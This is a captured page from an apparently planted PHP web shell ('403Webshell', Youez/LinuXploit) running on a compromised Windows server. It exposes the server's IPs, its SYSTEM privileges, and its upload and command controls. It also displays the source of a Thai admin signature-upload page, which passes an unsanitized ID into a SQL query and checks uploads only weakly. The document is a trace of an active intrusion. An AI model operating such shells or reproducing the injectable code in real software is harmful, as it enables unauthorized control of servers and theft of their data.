403Webshell
Server IP : 172.67.187.206  /  Your IP : 162.159.115.42
Web Server : Apache/2.4.25 (Win32) OpenSSL/1.0.2j PHP/5.6.30
System : Windows NT WIN-ECQAAA40806 6.2 build 9200 (Windows Server 2012 Standard Edition) i586
User : SYSTEM ( 0)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/www/myoffice/2564/modules/admin_backup/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/www/myoffice/2564/modules/admin_backup/signature4.php
<?
CheckAdmin($_SESSION['admin_user'], $_SESSION['admin_pwd']);
?>
<?php
include 'includes/connect.php';
?>


<? if($update == '1' ){
//==========================================================================================
//======================================================== BEGIN ===== UPLOAD 1 ============
//==========================================================================================

	if (is_uploaded_file($_FILES['filesw']['tmp_name'])) { 
	$filesw_name = substr ($filesw, -4);
			
	
	$filesw_name=$idedit;
#ตรวจสอบชนิดของไฟล์
$sizefile = $_FILES["filesw"]["size"]; 
if($sizefile>20248) {echo "<script language='javascript'>" ;
				echo "alert('กรุณาใช้รูปภาพ 30  kb ')" ;
			echo "</script>" ;
			echo "<script language='javascript'>javascript:history.back()</script>";
			exit();
}

			
			move_uploaded_file($_FILES['filesw']['tmp_name'],"userschicon/" . $filesw_name.".jpg" );	
	}
//==========================================================================================
//======================================================== END ======= UPLOAD 1 ============
//==========================================================================================
	
} ?>
<div align="left">
      <table cellspacing="0" cellpadding="0" width="600" border="0">
        <tbody>
          <tr>
           
        </tbody>
      </table>
	  <table cellspacing="0" cellpadding="0" width="600" border="0">
        <tbody>
          <tr>
            <td width="10" background="images/main/b1_r2_c1.gif" 
                  height="100%"><img id="b1_r2_c1" height="10" alt="" 
                  src="images/main/b1_r2_c1.gif" width="10" border="0" /></td>
            <td valign="top" width="100%" background="images/main/b1_ct_bg.gif" 
                height="100%"><div align="center">
                <table cellspacing="0" cellpadding="0" width="98%" border="0">
                  <tbody>
                    <tr>
                      <td><table width="100%">
                          <tr>
                            <td><img src="images/menu/textmenu_admin.gif" border="0" /><br />
                              <table width="100%" align="center" cellspacing="0" cellpadding="0" border="0">
                                <tr>
                                  <td height="1" class="dotline"></td>
                                </tr>
                                <tr>
                                  <td align="center"><br />

                                      <a href='' onClick='self.close()'>กดที่นี่เพื่อปิดหน้าต่าง</a><p>
                                      <!-- แสดงผลรายการ -->


  <br>
  <div align="left"> </div>
</form>
<table width="100%"  border="0" cellspacing="0" cellpadding="1">
  <tr>
    <td bgcolor="#c2e1fd" class=" unnamed1">&nbsp;</td>
  </tr>
</table>
<? if($showedit != '') { ?>
<br>
  <form name="form2" method="post" action="?name=admin&file=signature4" enctype="multipart/form-data" >
  <div align="left"><br>
    <table width="600"  border="0" align="center" cellpadding="0" cellspacing="0">
      
      <tr class="unnamed1">
        
		

<?
	
	$sql="select * from web_usersch where id=$showedit ";
	//echo"$sql";
	$dbquery = mysql_db_query($dbname, $sql);
	
		$result = mysql_fetch_array($dbquery);
		
	
?>

			<td class="unnamed2"><div align="right">
				แก้ไขลายเซ็นต์ ของ <b><? echo"$result[name]"; ?></b>&nbsp;
				
			</div></td>

			<td class="unnamed2"><div align="center">
				
				<input name="filesw" type="file" id="filesw" size="20" >&nbsp;&nbsp;
				<input name="idedit" type="hidden" id="idedit" value="<? echo"$result[id]"; ?>">
				<input name="update" type="hidden" id="update" value="1">
			</div></td>
			
        
        <td><div align="center">
            <input type="submit" name="Submit" value="  บันทึกการแก้ไข    ">
        </div></td>
        <td><label>
          <input type="button" name="Button" id="button" value="ยกเลิก"  onClick="DoCancel()">
        </label></td>
      </tr>

    </table>
    <br>
</form>
  <? } ?>
<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>


Youez - 2016 - github.com/yon3zu
LinuXploit